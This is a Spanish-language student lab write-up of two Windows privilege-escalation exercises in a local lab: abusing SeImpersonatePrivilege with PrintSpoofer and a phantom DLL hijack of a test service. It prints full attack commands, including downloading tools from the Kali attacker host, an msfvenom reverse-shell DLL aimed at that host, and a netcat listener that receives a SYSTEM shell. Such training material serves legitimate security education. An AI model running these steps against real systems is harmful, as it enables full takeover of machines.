



SPRING 16

EJERCICIO UNIDAD 1 – HIGH PRIVILEGE WINDOWS

DLL HIJACKING Y PHANTOM DLL

EJERCICIO 1.- EXPLOTACIÓN MÁQUINA WINDOWS CON EL MÉTODO “PRINTSPOOFER”.

- Una vez instalada y conectada en el mismo rango de red que mi maquina Kali, procedemos a realizar un netdiscover para conocer la dirección IP del objetivo siendo esta 10.0.2.15.
- Ahora, dado que tenemos usuario y contraseña del usuario “*vagrant*”, procedemos a conectarnos a la maquina Windows a través de SSH.
- Una vez que hemos accedido a la maquina objetivo, procedemos a realizar algunas comprobaciones, sobre nuestro usuario, asi como de otros usuarios del sistema y los servicios a los que podemos tener acceso:

```
vagrant@WINDOWS C:\Users\vagrant>whoami
windows\vagrant

vagrant@WINDOWS C:\Users\vagrant>net users

Cuentas de usuario de \\WINDOWS
-----
Administrator      cloudbase-init      DefaultAccount
Guest               user                vagrant
WDAGUtilityAccount

Se ha completado el comando correctamente.
```

Para ver la información de los privilegios del sistema que tenemos con nuestro usuario ejecutamos: ***whoami /priv***

INFORMACIÓN DE PRIVILEGIOS		
Nombre de privilegio	Descripción	Estado
SeIncreaseQuotaPrivilege	Ajustar las cuotas de la memoria para un proceso	Habilitada
SeSecurityPrivilege	Administrar registro de seguridad y auditoria	Habilitada
SeTakeOwnershipPrivilege	Tomar posesión de archivos y otros objetos	Habilitada
SeLoadDriverPrivilege	Cargar y descargar controladores de dispositivo	Habilitada
SeSystemProfilePrivilege	Generar perfiles del rendimiento del sistema	Habilitada
SeSystemtimePrivilege	Cambiar la hora del sistema	Habilitada
SeProfileSingleProcessPrivilege	Generar perfiles de un solo proceso	Habilitada
SeIncreaseBasePriorityPrivilege	Aumentar prioridad de programación	Habilitada
SeCreatePagefilePrivilege	Crear un archivo de paginación	Habilitada
SeBackupPrivilege	Hacer copias de seguridad de archivos y directorios	Habilitada
SeRestorePrivilege	Restaurar archivos y directorios	Habilitada
SeShutdownPrivilege	Apagar el sistema	Habilitada
SeDebugPrivilege	Depurar programas	Habilitada
SeSystemEnvironmentPrivilege	Modificar valores de entorno firmware	Habilitada
SeChangeNotifyPrivilege	Omitir comprobación de recorrido	Habilitada
SeRemoteShutdownPrivilege	Forzar cierre desde un sistema remoto	Habilitada
SeUndockPrivilege	Quitar equipo de la estación de acoplamiento	Habilitada
SeManageVolumePrivilege	Realizar tareas de mantenimiento del volumen	Habilitada
SeImpersonatePrivilege	Suplantar a un cliente tras la autentificación	Habilitada
SeCreateGlobalPrivilege	Crear objetos globales	Habilitada
SeIncreaseWorkingSetPrivilege	Aumentar el espacio de trabajo de un proceso	Habilitada
SeTimeZonePrivilege	Cambiar la zona horaria	Habilitada
SeCreateSymbolicLinkPrivilege	Crear vínculos simbólicos	Habilitada
SeDelegateSessionUserImpersonatePrivilege	Obtén un token de suplantación para otro usuario en la misma sesión	Habilitada

- Como podemos observar tenemos muchos servicios habilitados, algunos con un alto nivel de poder sobre el sistema (“*SeDebugPrivilege*”, “*SelmpersonatePrivilege*” o “*SeTakeOwnershipPrivilege*”), siendo explotable únicamente por el método PrintSpoofer el servicio “*SelmpersonatePrivilege*”. No obstante, un atacante que tenga acceso a alguno de los otros dos privilegios, podría combinar técnicas para escalar privilegios en el sistema.
- El servicio “*SelmpersonatePrivilege*”, normalmente, está habilitado para cuentas de servicio o que formen parte del grupo del administrador permite que un proceso suplante la identidad de otro usuario después de la autenticación, es decir, que si un atacante o un proceso con este privilegio, puede suplantar el token de un proceso con mayores privilegios (System), pudiendo ejecutar acciones en su nombre (algo similar a los Bit SUID en Linux).
- Una vez verificado que tenemos este servicio habilitado, enviamos el fichero “PrintSpoofer64.exe”, previamente bajado desde la maquina Kali, abriendo un servidor python en esta máquina, ejecutando en la máquina objetivo una shell de “PowerShell”, y una vez en ella, ejecutamos el comando “*Invoke-Web*” junto a sus parámetros, consiguiendo tener en el directorio *C:\Temp* el archivo malicioso.

```
kali@kali ~ [Local IP: 10.0.2.12] TARGET_IP: 10.0.2.15 % cd /media/sf_COMPARTIDA_VB_CIBERSEGURIDAD_KALI/TOOLS/
kali@kali /media/sf_COMPARTIDA_VB_CIBERSEGURIDAD_KALI/TOOLS [Local IP: 10.0.2.12] TARGET_IP: 10.0.2.15 % cd PrintSpoofer_Windows
kali@kali /media/sf_COMPARTIDA_VB_CIBERSEGURIDAD_KALI/TOOLS/PrintSpoofer_Windows [Local IP: 10.0.2.12] TARGET_IP: 10.0.2.15 % ls
PrintSpoofer32.exe PrintSpoofer64.exe
kali@kali /media/sf_COMPARTIDA_VB_CIBERSEGURIDAD_KALI/TOOLS/PrintSpoofer_Windows [Local IP: 10.0.2.12] TARGET_IP: 10.0.2.15 %
```

```
vagrant@WINDOWS C:\Users\vagrant> powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. Todos los derechos reservados.

PS C:\Users\vagrant> Invoke-WebRequest -Uri http://10.0.2.12:4444/PrintSpoofer64.exe -OutFile PrintSpoofer64.exe
Directorio: C:\Temp

Mode                LastWriteTime         Length Name
----                -
-a-----         10/09/2024   16:56           9216 hijackme.dll
-a-----         04/10/2024   12:45          27136 PrintSpoofer64.exe
```

- Finalmente, ejecutamos el archivo malicioso de manera interactiva (-i) para que, una vez conseguido el token privilegiado, ejecute el comando (-c cmd.exe), donde abrirá la shell con los permisos elevados, concretamente, con el usuario “*nt authority*”.

```
PS C:\Temp> .\PrintSpoofer64.exe -i -c cmd.exe
[+] Found privilege: SelmpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.1697]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
```


EJERCICIO 2.- ELEVACION DE PRIVILEGIOS MEDIANTE EL METODO “PHANTOM DLL”

- Una vez instalada y conectada en el mismo rango de red que mi maquina Kali, procedemos a realizar un netdiscover para conocer la dirección IP del objetivo siendo esta 10.0.2.15.
- Ahora, dado que tenemos usuario y contraseña del usuario “user”, procedemos a conectarnos a la maquina Windows a través de SSH.
- Una vez que hemos accedido a la maquina objetivo, procedemos a realizar algunas comprobaciones, sobre nuestro usuario, así como de otros usuarios del sistema y los servicios a los que podemos tener acceso:

```

user@WINDOWS C:\Users\user>whoami
windows\user
user@WINDOWS C:\Users\user>net user

Cuentas de usuario de \\WINDOWS
-----
Administrator      cloudbase-init      DefaultAccount
Guest               user                 vagrant
WDAGUtilityAccount

Se ha completado el comando correctamente.

user@WINDOWS C:\Users\user>whoami /priv

INFORMACIÓN DE PRIVILEGIOS
-----
Nombre de privilegio      Descripción      Estado
=====
SeChangeNotifyPrivilege  Omitir comprobación de recorrido      Habilitada
SeIncreaseWorkingSetPrivilege  Aumentar el espacio de trabajo de un proceso  Habilitada

```

- En este caso, los servicios habilitados están muy limitados, por un lado, está el servicio “**SeChangeNotifyPrivilege**”, el cual, permite que el proceso monitorice, únicamente, los cambios en archivos y directorios y, por otro lado, “**SeIncreaseWorkingSetPrivilege**”, que permite a los procesos aumentar su espacio de trabajo, es decir, que puede influir en la cantidad de memoria que utiliza un proceso en el sistema. A título informativo, este servicio no permite la inyección de una DLL de manera directa, si puede proporcionar un ámbito que permita aprovechar esos procesos de ampliación de memoria para modificar, inyectar o abusar de un proceso de carga en la memoria del sistema, pero no es la finalidad, así que seguiremos con el ejercicio con el método **phantom DLL**.

- Se procede a buscar que su Path no se encuentra vinculado a los servicios de Windows (C:\\Windows):

```
Microsoft Windows [Versión 10.0.17763.1697]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.

C:\Users\user>wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\"

Name
-----
cloudbase-init
C:\Program Files\Cloudbase Solutions\Cloudbase-Init\bin\OpenStackService.exe cloudbase-init
C:\Program Files\Cloudbase Solutions\Cloudbase-Init\Python\Scripts\cloudbase-init.exe
C:\Program Files\Cloudbase Solutions\Cloudbase-Init\conf\cloudbase-init.conf" Auto
DACLSvc
C:\Program Files\DACLSvc\DACLSvcService.exe"
Manual
DLL Hijack Service
C:\Program Files\DLL Hijack Service\dllhijackservice.exe"
Manual
Servicio de Actualización de Microsoft Edge (edgeupdate)
C:\Program Files\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc

Name                                     PathName                                     StartMode
-----
cloudbase-init                         "C:\Program Files\Cloudbase Solutions\Cloudbase-Init\bin\OpenStack
C:\Program Files\Cloudbase Solutions\Cloudbase-Init\conf\cloudbase-init.conf" Auto
DACLSvc                               "C:\Program Files\DACLSvc Service\daciservice.exe"
Manual
DLL Hijack Service                    "C:\Program Files\DLL Hijack Service\dllhijackservice.exe"
Manual
```

- Nos centramos en el servicio DLL hijacking, consultando los permisos que nuestro usuario posee sobre el ejecutable del servicio a explotar, comprobando que únicamente tenemos permisos de lectura y ejecución, no de modificación o escritura, por lo que no podemos usar el método "PrintSpoofer".

```
C:\Users\user>icacls "C:\Program Files\DLL hijack Service\dllhijackservice.exe"
C:\Program Files\DLL hijack Service\dllhijackservice.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(E)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Se procesaron correctamente 1 archivos; error al procesar 0 archivos
```

- Se comienza con una enumeración de la variable de entorno "Path", con la finalidad de conocer la lista de directorios donde el S.O. busca ejecutables y DLLs para sus programas y librerías:

```
PS C:\Users\user> $env:Path -split ";"
>>
C:\Windows\system32
C:\Windows
C:\Windows\System32\Wbem
C:\Windows\System32\WindowsPowerShell\v1.0\
C:\Windows\System32\OpenSSH\
C:\Program Files\rsync
C:\ProgramData\chocolatey\bin
C:\Users\vagrant\AppData\Local\Microsoft\WindowsApps
C:\Temp
C:\Users\vagrant\AppData\Local\Microsoft\WindowsApps
C:\Temp
C:\Users\vagrant\AppData\Local\Microsoft\WindowsApps
C:\Temp
C:\Users\vagrant\AppData\Local\Microsoft\WindowsApps
C:\Temp
C:\Users\vagrant\AppData\Local\Microsoft\WindowsApps
C:\Temp
C:\Users\vagrant\AppData\Local\Microsoft\WindowsApps
C:\Temp
C:\Users\vagrant\AppData\Local\Microsoft\WindowsApps
C:\Temp
C:\Program Files\dotnet\
C:\Users\user\AppData\Local\Microsoft\WindowsApps
```

- Hay un directorio “C:\Temp” que es muy probable que tengamos permisos de escritura, por lo que procedemos a buscar con el comando “*icacls*” nuevamente, comprobando como nuestro “*user*” tiene permisos de escritura (WD).

```
PS C:\Users\user> icacls "C:\Temp"
C:\Temp NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
          BUILTIN\Administrators:(I)(OI)(CI)(F)
          BUILTIN\Users:(I)(OI)(CI)(RX)
          BUILTIN\Users:(I)(CI)(AD)
          BUILTIN\Users:(I)(CI)(WD)
          CREATOR OWNER:(I)(OI)(CI)(IO)(F)
```

- Como no podemos usar permisos de administrador en la maquina objetivo para poder trabajar con “*Process Monitor*” con la finalidad de detectar si existe algún ejecutable o DLL que busque el servicio DLLsvc, vamos a usar herramientas del sistema para lograr conocer si en esta DLL podemos cargar nuestro payload:
 1. Vamos a comprobar las funciones y datos que posee nuestra DLL abriendo una terminal de símbolo del sistema para desarrolladores, donde usaremos el ejecutable ***dumpbin***, el cual, es usado para inspeccionar archivos ejecutables, bibliotecas DLLs y otros del sistema operativo Windows, proporcionando detalles internos de los mismos (funciones exportadas e importadas, datos, recursos, etc.).
 2. El Parámetro \EXPORTS indica a la función dumpbin que debe mostrar las funciones exportadas por la DLL o el ejecutable argumentado, siendo estas funciones las que pueden usar otros programas para cargar la DLL.

```
C:\Program Files\Microsoft Visual Studio\2022\Community>dumpbin /EXPORTS C:\Temp\hijackme.dll
Microsoft (R) COFF/PE Dumper Version 14.34.31937.0
Copyright (C) Microsoft Corporation. All rights reserved.
```

```
Dump of file C:\Temp\hijackme.dll
```

```
File Type: DLL
```

```
Summary
```

```
2000 .data
1000 .pdata
1000 .rdata
1000 .rsrc
1000 .text
```

- Como resultado, podemos observar que nos esta mostrando datos de la DLL, pero ninguna función que debería aparecer como sección con el encabezado exports junto la tabla de funciones, por lo que se puede deducir que hijackme.dll no está siendo usada correctamente por ningún servicio, abriendo la puerta para usar el método “Phantom DLL” para que exporte las funciones esperadas o un payload malicioso.
- Se procede usando MSFvenom a crear nuestra payload malicioso para Windows:

```
kali@kali /tmp (Local IP: 10.0.2.12) *Ang31 IP: 10.0.0.104 % msfvenom -p windows/x64/shell_reverse_tcp lhost=10.0.2.12 lport=5555 -a x64 --platform windows -f
dll -o hijackme.dll
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: hijackme.dll
```

- Transfiero el payload a la maquina objetivo usando el método “python - wget”:

```
Directorio: C:\Temp

Mode                LastWriteTime         Length Name
----                -
-a----            10/09/2024    16:56           9216 hijackme.dll
-a----            05/10/2024     9:18       179158986 listado_archivos.txt
-a----            06/10/2024     6:56       244325 phantom_dll.exe
-a----            04/10/2024    12:45       27136 PrintSpoofer64.exe
-a----            06/10/2024     5:18      2142648 Procmon64.exe

PS C:\Temp> Invoke-Webrequest http://10.0.2.12:4444/hijackme.dll -outfile hijackme.dll
PS C:\Temp>
```

```
hijackme.dll
Kali@kali /tmp [Local IP: 10.0.2.12] TARGET_IP: 185.199.108.154 % python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/)
10.0.2.15 -- [06/Oct/2024 10:00:18] "GET /hijackme.dll HTTP/1.1" 200 -
```

- Una vez en la máquina Windows y en la ruta donde se ejecuta el servicio, paramos y activamos el mismo, no sin antes haber abierto previamente un Netcat en la máquina Kali a la escucha para que nos abra la shell configurada en el payload, siendo esta positiva, consiguiendo la elevación de privilegios a usuario NT AUTHORITY.

```
PS C:\Program Files\DLL Hijack Service> ls

Directorio: C:\Program Files\DLL Hijack Service

Mode                LastWriteTime         Length Name
----                -
-a----            29/01/2023    18:27           9216 dllhijackservice.exe

PS C:\Program Files\DLL Hijack Service> net stop .\dllhijackservice.exe
Error de sistema 123.

El nombre de archivo, el nombre de directorio o la sintaxis de la etiqueta
PS C:\Program Files\DLL Hijack Service> net stop "DLL Hijack Service"
El servicio de DLL Hijack Service no se ha iniciado.

Puede obtener más ayuda con el comando NET HELPMSG 3521.

PS C:\Program Files\DLL Hijack Service> net start "DLL Hijack Service"
El servicio de DLL Hijack Service está iniciándose.....
El servicio de DLL Hijack Service no ha podido iniciarse.

Puede obtener más ayuda con el comando NET HELPMSG 3523.

PS C:\Program Files\DLL Hijack Service>
```

```
Kali@kali ~/Downloads [Local IP: 10.0.2.12] TARGET_IP: 152.199.19.160 % nc -lvp 5555
listening on [any] 5555 ...
ls
connect to [10.0.2.12] from (UNKNOWN) [10.0.2.15] 49783
Microsoft Windows [Version 10.0.17763.1697]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ls
'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\Windows\system32>whoami
whoami
nt authority\system
```